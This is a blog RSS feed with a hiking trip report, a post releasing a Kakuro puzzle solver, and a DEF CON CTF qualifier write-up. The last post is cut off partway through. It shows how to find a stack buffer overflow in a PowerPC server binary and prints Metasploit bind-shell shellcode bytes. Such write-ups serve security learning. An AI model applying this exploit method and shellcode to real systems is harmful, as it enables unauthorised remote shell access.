<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Spoony Blog</title>
	<atom:link href="http://adamrosenfield.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://adamrosenfield.com/blog</link>
	<description>Just until I can come up with a better name</description>
	<lastBuildDate>Sun, 25 Jul 2010 05:17:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>29.9 miles down, 2149.2 to go</title>
		<link>http://adamrosenfield.com/blog/2010/07/25/29-9-miles-down-2149-2-to-go/</link>
		<comments>http://adamrosenfield.com/blog/2010/07/25/29-9-miles-down-2149-2-to-go/#comments</comments>
		<pubDate>Sun, 25 Jul 2010 05:17:21 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Hiking]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=115</guid>
		<description><![CDATA[I recently took some time off work to go hiking in the White Mountains of New Hampshire. Specifically, I decided to tackle a section of the Appalachian Trail, between Franconia Notch and Mount Washington, along with my good friend Pete Kruskall. Or at least that&#8217;s what the original plan was. Day 0, Thursday, 7/15: 0.0 [...]]]></description>
			<content:encoded><![CDATA[<p>I recently took some time off work to go hiking in the White Mountains of New Hampshire.  Specifically, I decided to tackle a section of the <a href="http://www.appalachiantrail.org">Appalachian Trail</a>, between Franconia Notch and Mount Washington, along with my good friend <a href="http://twitter.com/bringmethathrzn">Pete Kruskall</a>.  Or at least that&#8217;s what the original plan was.</p>
<hr />
<h2>Day 0, Thursday, 7/15: 0.0 miles hiked</h2>
<p></p>
<p>First, some backstory.  I&#8217;ve done plenty of day hikes (in both summer and winter), and one two-day hike, but before this, I hadn&#8217;t ever done any really serious multi-day hiking trips.  I&#8217;ve done some serious bike touring, including <a href="http://www.bicycletrips.com/trips/thousand_miles.shtml">A Thousand Miles</a>, and I have plenty of experience camping in living in the back country.  But since this was the first serious trip I was planning entirely on my own, I was missing some important gear; so I decided to rent said gear from the <a href="http://web.mit.edu/mitoc/www">MIT Outing Club</a>.</p>
<p>One of the items I rented was an <a href="http://www.outdoorsmagic.com/product-reviews/msr-xgk-expedition-stove/61.html">MSR XGK Expedition</a> camping stove (which I think is no longer in production, since I can&#8217;t seem to find it on MSR&#8217;s site).  When I brought it home, I discovered that the fuel can that came with it was for a different type of stove, and so it was useless.  By that time, MITOC&#8217;s offices were closed, and I was supposed to get on <a href="http://www.concordcoachlines.com/">the bus</a> the next morning up to Lincoln, NH.  The morning bus left before any useful stores in the Boston area would be open, and the afternoon bus left far too late to be useful.  I scoured the web but couldn&#8217;t find any stores in Lincoln that definitively carried MSR fuel cans (it&#8217;s possible they exist, but the websites of the potentially useful stores did not indicate that).</p>
<hr />
<h2>Day 1, Friday, 7/16: 6.0 miles hiked</h2>
<p></p>
<p>Time for Plan B.  Pete has a car, but his car was not in Boston.  It took two train rides on the T, a bus transfer, and a taxi ride, but we eventually made it to his car and began driving up to New Hampshire.  I also got a crash course (not literally) in driving stick shift.  We stopped by at <a href="http://www.plymouthski.com/">Plymouth Ski &#038; Sports</a> to pick up some MSR fuel and grabbed a late lunch at a nearby café.</p>
<p>The original plan was to start from Franconia Notch and hike up the Old Bridle Path to the summit of Mount Lafayette, and then along Franconia Ridge to the Garfield Ridge Shelter, which would have been about 7.9 miles.  But because of the late start, we decided to go up the Gale River Trail instead and hike backwards 2.0 miles along the AT to the shelter.  We chose the Gale River Trail over the Garfield Ridge Trail because at that point, we intended to finish at Pinkham Notch and take the <a href="http://www.outdoors.org/lodging/lodging-shuttle.cfm">AMC Hiker Shuttle</a> back to the trailhead where we&#8217;d parked.  That didn&#8217;t quite end up happening, as you&#8217;ll shortly see.</p>
<p>We finally got on trail about 3:15 pm and hiked the 6.0 miles up to the shelter without too much trouble.  Next up was dinner, which proved to be trickier than anticipated, despite now having the correct type of fuel for the stove.  Upon setting up the stove, we discovered that the pump was leaking fuel since it was missing an O-ring.  Not good.  Fortunately, the cap of the fuel tank I bought came with an O-ring, so I transferred that over to the pump and got the stove going.  The next problem was that the stove kept petering out—it needed to be continually pumped every minute or so to keep the flame going.  It was punishing, but we finally got some boiling water, made dinner, and went to sleep.</p>
<hr />
<h2>Day 2, Saturday 7/17: 6.2 miles hiked</h2>
<p></p>
<p>Day 2 was on the short side, despite the much more reasonable start time of 8:50 am.  This was due to the locations of shelters: our options were to (a) stop early at the Guyot Shelter, (b) shell out $97 to stay at the <a href="http://www.outdoors.org/lodging/whitemountains/huts/huts-zealand.cfm">Zealand Falls Hut</a> (if there was even space available, which I doubt), (c) hoof it out to the Ethan Pond Shelter, or (d) set up tent in a stealth camping site off-trail if we can find one.  We opted for (a).</p>
<p>Nothing too eventful happened this day; we stopped for lunch at the Galehead Hut, hiked a steep 0.8 miles up the summit of South Twin Mountain, and then made it into the shelter nice and early around 3:30 pm.  It was good we got there early, since Friday and Saturday nights are the busiest—overall 46 people were staying at the shelter/campsite, and it was getting pretty crowded at the end.  The record there is apparently 94 people; that must have been one unpleasant night.</p>
<p>The nearby Mount Bond (which I&#8217;m sad to report I didn&#8217;t summit) has the interesting property that it&#8217;s just about the farthest point from civilization in the area there known as the Pemigewasset Wilderness.  According to some folks I met at the Guyot Shelter, you can see for miles and miles in all directions without seeing any signs of human civilization: no towns, no roads, no nothing.  Oh well, I&#8217;m sure I&#8217;ll make it back there some other time.</p>
<hr />
<h2>Day 3, Sunday 7/18: 9.8 miles hiked</h2>
<p></p>
<p>Day 3 was much more of an adventure.  We again got a good early start around 8:15 am and hiked along the Zealand Ridge Trail to the Zealand Falls Hut, where we refilled on water and had a nice leisurely lunch.  Unfortunately, Pete was not feeling too well, and we decided to split up here.  He passed on to me the tent he was carrying (just when I thought my pack had been getting lighter from less food) and hiked down the Zealand Trail to the trailhead there.  He got a ride back to the main road and then to his car back at the Gale River trailhead, after which he went and stayed with some nearby relatives.</p>
<p>I continued on down the Ethan Pond Trail, which was a nice and flat 5.0 miles that flew by; I&#8217;m told that that part of the trail used to be an old logging railroad.  I made it down to the Ethan Pond Shelter at a reasonable hour in the afternoon and chatted with SoBo (southbounder) thru-hiker <a href="https://twitter.com/anachronimity">Wasabi</a>; he was just stopping by and was intending to end his day at either the Zealand Falls Hut or the Guyot Shelter, I forget which.  Later on I was joined in the shelter by SoBo Pneumonia (take a guess what disease he contracted on a previous attempt at hiking the AT) and the pair of SoBos Monkey and Giggles.</p>
<hr />
<h2>Day 4, Monday 7/19: 9.3 miles hiked</h2>
<p></p>
<p>Another day, another reasonable start at 8:20.  I easily hiked the 2.9 miles down to Route 302 and found my first instance of <a href="www.appalachiantrail.org/trailmagic">trail magic</a>!  Waiting at the trailhead was a very nice gentleman with a cooler full of free snacks and drinks for thru-hikers.  I stopped to chat with him for a bit and helped myself to a Pepsi (I didn&#8217;t want to take very much since I wasn&#8217;t hiking the entire trail; whether or not I even deserved the Pepsi is arguable).  I then hung out for a bit to wait for Pete to show up—we&#8217;d agreed to meet up here, in case I&#8217;d needed to bail out for whatever reason.  We chatted a bit, and then the rain started rolling in.  I waited in his car a bit to see if it would pass, but it didn&#8217;t.</p>
<p>So, he drove off, and I started heading back up the Webster Cliff Trail on the other side of the highway.  The trail here was fairly steep in some places, and I found myself having to scramble up some rocks on all fours.  In the rain.  With 40 pounds on my back.  And I kept tripping over my rain poncho.  It was not very pleasant here, but I kept going.  The rain finally let up shortly after I reached the summit of Mount Jackson (actually named after geologist Charles Thomas Jackson, not Andrew Jackson, despite being in the <a href="http://en.wikipedia.org/wiki/Presidential_Range">Presidential Range</a>).</p>
<p>I pressed onwards and ended my day at the Mizpah Spring Hut/Nauman Campsite.  For some reason, the name Mizpah always makes me think of the Hebrew word <em>mitzvah</em>, meaning a good deed.</p>
<hr />
<h2>Day 5, Tuesday 7/20: 10.3 miles hiked</h2>
<p></p>
<p>This was the big, awesome day: hiking through a good chunk of the Presidential Range, with spectacular views throughout.  There was a lot of fog rolling in over the mountains, so the view came and went, but for the most part it was good.  I decided to go off of the AT to <a href="http://en.wikipedia.org/wiki/Peak_bagging">bag</a> Mount Eisenhower and Mount Monroe, which the AT goes around, so technically I didn&#8217;t hike two short sections of 0.8 miles or so of the AT, but whatever.  I have plenty of time to come back and hike those sections if I decide to section hike the entire trail.</p>
<p>Lunch this time was at the Lakes of the Clouds Hut, the highest of the High Huts (for those keeping score, that&#8217;s 3 days of stopping at a Hut for lunch).  I climbed up the last 1.6 rocky miles up the Crawford Path to the summit of Mount Washington.  There I met up again with Pete, who hiked up the Tuckerman Ravine Trail from Pinkham Notch for the day.  Fortunately we found each other easily, since I found that I couldn&#8217;t get a cell phone signal anywhere on the summit, despite having 2-3 bars in various places.  We grabbed some food, rested up for a bit, and then headed down the Lion Head Trail back down to Pinkham Notch.</p>
<p>Just as we were coming down one the start of the steep section of the trail, it started raining.  It was probably not the wisest of decisions to head down the Lion Head Trail—if we&#8217;d headed down through Tuckerman&#8217;s, we&#8217;d probably have been done or close to done with the steep section by the time the rain started, and Lion Head is steeper in places than Tuckerman&#8217;s.  [Side note: a hiker had <a href="http://www.wmur.com/news/24308127/detail.html?source=man">slipped and died</a> on Tuckerman's just days before we were there; that kind of news travels fast among hikers in the area].</p>
<p>We survived the rain, made it down to Pinkham Notch, and then drove back to Boston.</p>
<hr />
<p>It was an exhausting but thrilling experience.  For those readers who made it this far, <a href="http://adamrosenfield.com/photos/hiking-july-2010/">enjoy the photos</a>.  Sorry about the purple tint at the top of all of them, there&#8217;s something wrong with my camera that I didn&#8217;t discover until I saw these, and my <a href="http://www.adobe.com/misc/trade.html">Photoshop®</a>-fu is not good enough to try to fix it.</p>
<p>Maybe some day I&#8217;ll hike the entire AT.  I&#8217;d rather thru-hike it than section-hike it, but I don&#8217;t know how I&#8217;ll get 5–7 months or so off from work.  So for now, it&#8217;s just a very distant goal.  My friend <a href="http://whereswalden.com/">Jeff Walden</a> thru-hiked it immediately after we graduated from MIT in 2008—that was a great idea for him to hike it after finishing school but before starting full-time work.  I&#8217;d also like to do a cross-country bike trip some time, but again that takes so much time (though substantially less than 5–7 months) that I don&#8217;t know when it will happen.</p>
<p>I don&#8217;t have a trail name yet, but I&#8217;m thinking about taking on the name &#8220;Fuel Can&#8221;, &#8220;Fuel Cell&#8221;, or something like that, after the stove fiasco.  What do you guys think?</p>
<p>Oh, and the 29.9 miles in the title is the total distance I hiked on the AT, not including the 4.0 miles going up the Gale RIver Trail, the 4.2 miles going down the Lion Head Trail, or the various campsite spurs, and pretending I didn&#8217;t take take side trips up Mount Eisenhower and Mount Monroe.  The 29.9 comes from this handy-dandy <a href="http://www.atdist.com">distance calculator</a>, using the Garfield Ridge Shelter and Mount Washington as endpoints.  1.4% down, 98.6% to go!</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/07/25/29-9-miles-down-2149-2-to-go/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kakuro Solver</title>
		<link>http://adamrosenfield.com/blog/2010/07/01/kakuro-solver/</link>
		<comments>http://adamrosenfield.com/blog/2010/07/01/kakuro-solver/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 05:18:06 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=107</guid>
		<description><![CDATA[Kakuro (also known as Cross Sums) is a popular number-based logic puzzle. It resembles crossword puzzles, except instead of clues made up of words, you have clues made up of numbers indicating the sum of the digits in the indicated cells, with the additional constraint that no entry contain the same digit more than once. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.kakuro.com">Kakuro</a> (also known as Cross Sums) is a popular number-based logic puzzle.  It resembles crossword puzzles, except instead of clues made up of words, you have clues made up of numbers indicating the sum of the digits in the indicated cells, with the additional constraint that no entry contain the same digit more than once.</p>
<p>The <a href="http://web.mit.edu/puzzle/www/">MIT Mystery Hunt</a> is no stranger to Kakuros.  It has featured a <a href="http://www.mit.edu/~puzzle/03/www.acme-corp.com/teamGuest/6/6_7.html">number</a> <a href="http://www.mit.edu/~puzzle/05/setec/express_yourself/">of</a> <a href="http://www.mit.edu/~puzzle/07/puzzles/the_joy_of_accountancy/">Kakuro</a> <a href="http://web.mit.edu/puzzle/www/08/cursed/">variants</a> over the years, most of which often involve some special trick or gimmick not present in a standard Kakuro puzzle.  Of course, figuring that out is part of the puzzle.</p>
<p>The 2009 Hunt featured an intriguing puzzle named <a href="http://www.mit.edu/~puzzle/09/puzzles/cross_somethingorothers/PUZZLE/JLN-index.html">Cross Something-Or-Others</a>, by <a href="http://motris.livejournal.com/">Thomas Snyder</a> and Dan Katz.  It had 8 different Kakuro variants (Nonsense Kakuro does not count).  After the Hunt was over, I decided to write a generic, optimized Kakuro solver that could solve all of these variants for help with future Hunts.  Although I did not get to use my solver during the 2010 Hunt (I missed whatever Kakuros there were, if there were any at all), I hope this will be useful for puzzle solvers present and future.</p>
<p>There are <a href="http://www.somethinkodd.com/oddthinking/2006/02/12/a-kakuro-solver/">many</a> <a href="http://www.saam007.com/java/?JApp=KakuroSr">other</a> <a href="http://zwillow.blogspot.com/2005/12/kakuro-solver-and-solvability-by-logic.html">solvers</a> <a href="http://www.technion.ac.il/~zvikabh/software/software.html">out</a> <a href="http://www.bthomson.com/kakuro.html">there</a> (and more), but none of them were adequate enough for me.  They all had various issues: some had no source code (making solving variants impossible), they had a horrendous interface for inputting puzzles, they weren&#8217;t portable enough, or they were too slow.</p>
<p>Actually, I probably could have gone with zvrba&#8217;s solver and modified it, but I decided to start from scratch anyways.  <a href="http://en.wikipedia.org/wiki/Rifleman%27s_Creed">&#8220;There are many like it, but this one is mine&#8221;</a>, as the saying goes.</p>
<p>So anyways, back to my solver.  I wrote it from the ground up to be blazing fast.  It stores the set of possible values a cell can have using a bit set, and it uses some inline assembly (specifically the x86&#8242;s <a href="http://pdos.csail.mit.edu/6.828/2008/readings/i386/BSF.htm">BSF</a> and <a href="http://pdos.csail.mit.edu/6.828/2008/readings/i386/BSR.htm">BSR</a> instructions).  So, it&#8217;s not completely portable out-of-the-box, but those can be replaced easily enough with generic C routines that will be slower, or the equivalent instructions on other ISAs.  It also uses the pthreads library for multithreading.  If you want to compile it for a platform that does not support pthreads (such as Windows), you can either replace pthreads with your platform&#8217;s equivalent, or nuke the threading support entirely.  But other than those two things, the program is completely portable C.</p>
<p>Secondly, I also designed the solver to be as generic as possible, in order to be able to solve (or be modified to solve) as many different Kakuro variants as possible.  The most flexible piece is the set of allowable numbers in a cell.  In standard Kakuro, that set of numbers is 1–9.  Common variants include allowing 0, or changing the base to make something like hexadecimal Kakuro (1–15).  My solver allows any subset of the numbers 0–30; it could easily be modified to use a subset of 0–63, but I haven&#8217;t bothered with that yet, since extending that support might slow it down a little (probably not very much though) on 32-bit machines, and I&#8217;ve never seen a puzzle that uses cells with numbers that large.</p>
<p>I also coded up modifications to solve most of the variants in the puzzles linked to above.  Again, for maximal speed, the logic in these variants is controlled by various <code>#define</code>s, producing separate binaries for each of them.</p>
<p>So how does it work?  Under the hood, it&#8217;s got one simple rule, followed by a brute-force search.  That one rule is:</p>
<ul>
<li>The <em>minimum</em> possible value for a cell is given by the total sum of the numbers in the entry (the <em>clue</em>) minus the sum of the <em>maximum</em> possible values of all of the other cells in the entry</p>
<li>The <em>maximum</em> possible value for a cell is given by the total sum minus the sum of the <em>minimum</em> possible values of all of the other cells in the entry</ul>
<p>It turns out that this is often all you need, especially for simple puzzles.  This does not try to enumerate all possible sets of values for an entry—in other words, for a 2-cell clue with a sum of 4, it does not deduce that 2 is not a possible value for either cell.  It only determines that 1–3 are legal values, since that is 4 (the sum) minus 1 (the minimum value for the other cell).</p>
<p>It also performs other logic which I consider so obvious that it shouldn&#8217;t need stating, but here it is anyways: if a cell can only contain one number, then all other cells in the two entries that go through that cell cannot take on that value.</p>
<p>It repeats this logic for every cell for every clue in both the across and down directions as long as it continues to make progress by eliminating numbers as possible values for cells.  If you&#8217;re lucky, it might solve the entire puzzle this way (this is very fast).  If you&#8217;re not so lucky, it starts a brute-force depth-first search of the entire remaining puzzle space and attempts to enumerate all possible solutions.</p>
<p>The brute-force search isn&#8217;t a dumb search, though.  It picks one cell, iterates through all possible allowed values for that cell, and recurses.  The cell that it picks is one that belongs to the entry that has the fewest possible total values, which is computed as the product of the number of values of each cell in that entry; once the entry is determined, the first cell with more than one possible value is used.  The idea here is that for incorrect guesses (which most are), we want to reach a contradiction as quickly as possible, which we try to do by picking an entry with a small number of possibilities.  In my tests, this usually seems to give vastly better results, but not always, when compared to just picking the first cell that can have multiple values.</p>
<p>Ok, enough with the discussion, you&#8217;ve been patient enough.  You can download my Kakuro solver&#8217;s source code <a href="http://adamrosenfield.com/files/kakuro.tar.gz">here</a>.  It&#8217;s licensed under the GPL version 3 or later.  Comments are most welcome!</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/07/01/kakuro-solver/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I&#8217;ll take Pwtent Pwnables for 400 please, Alex</title>
		<link>http://adamrosenfield.com/blog/2010/05/26/ill-take-pwtent-pwnables-for-400-please-alex/</link>
		<comments>http://adamrosenfield.com/blog/2010/05/26/ill-take-pwtent-pwnables-for-400-please-alex/#comments</comments>
		<pubDate>Thu, 27 May 2010 03:11:21 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=94</guid>
		<description><![CDATA[This past weekend, I participated in my first ever DEF CON Capture the Flag Qualifying Tournament. CTF is a contest at the aforementioned annual hacker conference where the goal is to keep your team&#8217;s network services (which are on a closed intranet) up and running for as much as possible, while simultaneously trying to bring [...]]]></description>
			<content:encoded><![CDATA[<p>This past weekend, I participated in my first ever <a href="http://www.defcon.org/">DEF CON</a> <a href="http://ddtek.biz/q18.html">Capture the Flag Qualifying Tournament</a>.  CTF is a contest at the aforementioned annual hacker conference where the goal is to keep your team&#8217;s network services (which are on a closed intranet) up and running for as much as possible, while simultaneously trying to bring down your opponents&#8217; network services.  The qualifying tournament is an open tournament to determine the special few who will get to play CTF.</p>
<p>The categories in this year&#8217;s quals were Persuits Trivial, Crypto Badness, Packet Madness, Binary L33tness, Pwtent Pwnables, and Forensics, laid out in a <em>Jeopardy!</em>-style grid.  There were 5 challenges in each category, worth 100 through 500 points respectively.  I spent a fair amount of time working on Pwtent Pwnables (note that this contest was a <em>team</em> contest), and though I didn&#8217;t solve it during the contest, I managed to get a working exploit after the contest ended.  Here&#8217;s a writeup of my work.</p>
<p>For this problem, you&#8217;re given <a href="http://adamrosenfield.com/files/pp400_8c9d628d2144bbe8b.bin">this file</a> and told that it&#8217;s running on pwnie.ddtek.biz.  Go.</p>
<p>A quick <a href="http://linux.die.net/man/1/file">file(1)</a> says that this is a Mach-O executable ppc.  <a href="http://linux.die.net/man/1/strings">strings(1)</a> suggests that it&#8217;s binding to a port and listening on a socket.  It receives some floating-point numbers, computes the average and standard deviation of those numbers, and sends the results back.  The text includes &#8220;max of 16&#8243;, suggesting an obvious buffer overflow attack.</p>
<p>Let&#8217;s take a look at the disassembly and see what we can figure out.  Fire up objdump, part of the <a href="http://www.gnu.org/software/binutils/">binutils</a> distribution:</p>
<pre>$ objdump -d pp400_8c9d628d2144bbe8b.bin -s > pp400.s</pre>
<p>Hmm.  Not a lot to work with here.  No symbols, and the convoluted dynamic linking makes it extremely difficult to even see what the calls to dynamically linked functions are.  Here&#8217;s what the stub for calling <a href="http://linux.die.net/man/2/fork">fork(2)</a> looks like:</p>
<pre>    3d80:   7c 08 02 a6     mflr    r0
    3d84:   42 9f 00 05     bcl-    20,4*cr7+so,3d88 <LC_SEGMENT.__TEXT.__picsymbolstub1+0x2e8>
    3d88:   7d 68 02 a6     mflr    r11
    3d8c:   3d 6b 00 00     addis   r11,r11,0
    3d90:   7c 08 03 a6     mtlr    r0
    3d94:   85 8b 03 18     lwzu    r12,792(r11)
    3d98:   7d 89 03 a6     mtctr   r12
    3d9c:   4e 80 04 20     bctr</pre>
<p>Can you tell that&#8217;s a fork?  I sure can&#8217;t.  The bcl grabs the current instruction address (0&#120;3d88), and then after some bookkeeping, the value at address 0&#120;3d88+0&#120;792 <!-- stupid WordPress is converting the x in 0xblah to &#215; --> is loaded and then branched to.  The memory at 0&#120;40a0 is in the data segment in a stream of <code>.long 0x2428</code>, which presumably get replaced at load time with the actual addresses of the dynamically linked functions.  How exactly that works, though, is still a mystery to me.</p>
<p>Disassembling it isn&#8217;t all that helpful right now, so maybe we can try running it to figure out what it does.  I don&#8217;t have a PowerPC Mac, but thanks to <a href="http://www.apple.com/rosetta/">Rosetta</a>, I can run the program seamlessly on my x86 Mac:</p>
<pre>$ chmod a+x pp400_8c9d628d2144bbe8b.bin
$ ./pp400_8c9d628d2144bbe8b.bin
pp400_8c9d628d2144bbe8b.bin: drop_privs failed!
: Operation not permitted</pre>
<p>Well drat.  It looks like it&#8217;s trying to drop privileges (a standard procedure to minimize risk in socket-based applications), but it&#8217;s failing somehow.  What&#8217;s it trying to do?  Let&#8217;s see with <a href="http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/10.4-intel/man1/ktrace.1.html">ktrace</a> (aside: <a href="http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man1/dtrace.1.html">DTrace</a> is far superior to ktrace but only available on OS X v10.5 and up; if you&#8217;re still running 10.4 like I am, then ktrace is your best option).</p>
<pre>$ ktrace ./pp400_8c9d628d2144bbe8b.bin
pp400_8c9d628d2144bbe8b.bin: drop_privs failed!
: Operation not permitted
$ kdump | less</pre>
<p>Looking through the log, we see calls to <a href="http://linux.die.net/man/2/socket">socket(2)</a>, <a href="http://linux.die.net/man/2/setsockopt">setsockopt(2)</a>, <a href="http://linux.die.net/man/2/bind">bind(2)</a>, and <a href="http://linux.die.net/man/2/listen">listen(2)</a>, a standard sequence for a simple server.  The problem failure here is coming from a call to <a href="http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man2/setgroups.2.html">setgroups(2)</a> and <a href="http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man2/setgid.2.html">setgid()</a>:</p>
<pre>  8972 pp400_8c9d628d21 CALL  setgroups(0x1,0xb7fff958)
  8972 pp400_8c9d628d21 RET   setgroups -1 errno 1 Operation not permitted
  8972 pp400_8c9d628d21 CALL  setgid(0x1f8)
  8972 pp400_8c9d628d21 RET   setgid -1 errno 1 Operation not permitted</pre>
<p>Well hmph, I&#8217;m stumped.  The man pages here (<em>and yes I realize I&#8217;m mixing links to the Linux and OS X man pages; it doesn&#8217;t really matter, they say mostly the same things since this is all POSIX</em>) say that setgroups() will only succeed if run as root, and setgid() can only do trivial things as non-root.  I&#8217;m definitely not going to run this as root, and the contest server sure as hell won&#8217;t be running as root.</p>
<p>At this point, I cheated (sort of).  I noticed that this program was doing essentially the same things as an earlier problem in the contest, namely pp100.  That problem was a program which also ran a server of sorts, but it was an ELF for FreeBSD.  The difference there was that it included some sort of symbols in it, so disassembling it was incredibly helpful: there were useful function names, and it was obvious which system calls were being made and where.  And in that program, I noticed that it was grabbing a username (digger) out of the data segment and calling <code>drop_privs_user()</code> with that username.</p>
<p>Armed with that knowledge and taking another look at the data segment of pp400, we see the string &#8220;luser&#8221; near the beginning.  That looks promising.  So, create a new user on your Mac named luser and try again.</p>
<p>Nope, same error.  Maybe if we try running the program <em>as</em> luser?</p>
<pre>$ su luser
Password:
$ ./pp400_8c9d628d2144bbe8b.bin</pre>
<p>Success!  It&#8217;s now listening on a socket.  But on what port?  <a href="http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man8/lsof.8.html">lsof(8)</a> to the rescue!</p>
<pre>lsof -i  # Must be run as luser (or as root)
COMMAND    PID  USER   FD   TYPE    DEVICE SIZE/OFF NODE NAME
pp400_8c9 9254 luser    4u  IPv4 0x689bc9c      0t0  TCP *:nettest (LISTEN)</pre>
<p>It&#8217;s listening on the nettest port; if we grep for that in <code>/etc/services</code>, we find that that corresponds to port 4138.  So let&#8217;s try that out:</p>
<pre>telnet localhost 4138
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Send me some floats (max of 16), I will tell you some stats!
1 2 3^D
The average of your 3 numbers is 2.000000
The standard deviation of your 3 numbers is 0.816497
Connection closed by foreign host.</pre>
<p>It took a bit of experimentation, but I eventually figured out that the server didn&#8217;t compute and return results unless you sent a literal ^D (EOF) character.  Let&#8217;s send a gazillion numbers and see what happens:</p>
<pre>$ python -c 'print " ".join(map(str, range(10000))), "\4"' | nc localhost 4138
Send me some floats (max of 16), I will tell you some stats!
$</pre>
<p>Yep, it crashed all right.  Now let&#8217;s exploit it.  The first step is figuring out where in memory the buffer of floats is being stored.  Normally we could just attach a debugger and figure it out, but debugging a process running Rosetta is not trivial.  Fortunately, it is possible—a little googling leads one to <a href="http://www.extinguishedscholar.com/wpglob/?p=319">this blog post</a> and the <a href="http://developer.apple.com/legacy/mac/library/documentation/MacOSX/Conceptual/universal_binary/universal_binary_intro/universal_binary_intro.html">Universal Binary Programming Guidelines</a>, which detail the procedure.  Run the binary with the <code>OAH_GDB</code> environment variable set, and then in another shell, run <code>gdb --oah</code>, attach to the process, and continue:</p>
<pre># First shell
$ OAH_GDB=YES ./pp400_8c9d628d2144bbe8b.bin
Starting Unix GDB Session
Listening

# Second shell (must be luser or root)
$ gdb --oah
(gdb) attach pp400_8c9d628d21.9453
(gdb) c</pre>
<p>Unfortunately, it seems that the follow-fork-mode option for GDB does not work on OS X, so if you attempt to set it, you&#8217;ll find that you&#8217;re still attached to the parent process regardless of its setting.  But fortunately, if the child process crashes, gdb still manages to halt when the crash occurs and inspect the program state.  Run the earlier Python one-liner to crash the child process:</p>
<pre>Program received signal SIGSEGV, Segmentation fault.
0x000033f8 in ?? ()
(gdb) disas $pc-20 $pc+20
Dump of assembler code from 0x33e4 to 0x340c:
0x000033e4:     lfs     f0,128(r30)
0x000033e8:     rlwinm  r2,r0,2,0,29
0x000033ec:     addi    r0,r30,56
0x000033f0:     add     r2,r2,r0
0x000033f4:     addi    r2,r2,8
0x000033f8:     stfs    f0,0(r2)
0x000033fc:     lwz     r2,60(r30)
0x00003400:     addi    r0,r2,1
0x00003404:     stw     r0,60(r30)
0x00003408:     addi    r0,r30,128
End of assembler dump.
(gdb) p/x $r2
$1 = 0xc0000000
(gdb) p/x $sp
$2 = 0xbffff400
(gdb) x/32x $r2-128
0xbfffff80:     0x44340000      0x44344000      0x44348000      0x4434c000
0xbfffff90:     0x44350000      0x44354000      0x44358000      0x4435c000
0xbfffffa0:     0x44360000      0x44364000      0x44368000      0x4436c000
0xbfffffb0:     0x44370000      0x44374000      0x44378000      0x4437c000
0xbfffffc0:     0x44380000      0x44384000      0x44388000      0x4438c000
0xbfffffd0:     0x44390000      0x44394000      0x44398000      0x4439c000
0xbfffffe0:     0x443a0000      0x443a4000      0x443a8000      0x443ac000
0xbffffff0:     0x443b0000      0x443b4000      0x443b8000      0x443bc000</pre>
<p>What happened here is we walked off the stack: we just kept copying into the stack buffer all the way up the stack, which started at 0xbffffffc.  We can clearly see the increasing set of floating-point numbers filling the end of the stack.  Using this <a href="http://babbage.cs.qc.edu/IEEE-754/32bit.html">handy dandy IEEE 754 calculator</a>, we see that 0&#120;44340000 is the float 720, which means the buffer started at 0&#120;bfffff80 &#8211; 720*4 = 0&#120;bffff440, which at this point is $sp+0&#120;40.</p>
<p>To exploit this now, we need to put our payload on the stack and then overwrite a return address with the proper stack address so we jump into the payload.  We also can&#8217;t write more than about 751 numbers, since we&#8217;d crash before we got to the payload as we did just here, but fortunately this isn&#8217;t a problem.</p>
<p>Now let&#8217;s figure out in the payload the stack address needs to go.  Restart the server, reattach gdb, and rerun the Python one-liner with only 100 numbers instead of 10000.  The result:</p>
<pre>Program received signal SIGSEGV, Segmentation fault.
0x41d00000 in ?? ()</pre>
<p>The program counter ended up at 0&#120;41d00000, which is the float 26.  So, we need to place our pointer into the payload in the 27th number; the first 26 can be anything.</p>
<p>For the payload itself, start with the osx/ppc/shell_bind_tcp payload from <a href="http://www.metasploit.com/">Metasploit</a>:</p>
<pre>$ msfconsole
msf &gt; use osx/ppc/shell_bind_tcp
msf payload(shell_bind_tcp) &gt; generate -t c
/*
 * osx/ppc/shell_bind_tcp - 224 bytes
 * http://www.metasploit.com
 * AutoRunScript=, AppendExit=false, PrependSetresuid=false,
 * InitialAutoRunScript=, PrependSetuid=false, LPORT=4444,
 * RHOST=, PrependSetreuid=false
 */
unsigned char buf[] =
"\x38\x60\x00\x02\x38\x80\x00\x01\x38\xa0\x00\x06\x38\x00\x00"
"\x61\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78\x48\x00"
"\x00\x0d\x00\x02\x11\x5c\x00\x00\x00\x00\x7c\x88\x02\xa6\x38"
"\xa0\x00\x10\x38\x00\x00\x68\x7f\xc3\xf3\x78\x44\x00\x00\x02"
"\x7c\x00\x02\x78\x38\x00\x00\x6a\x7f\xc3\xf3\x78\x44\x00\x00"
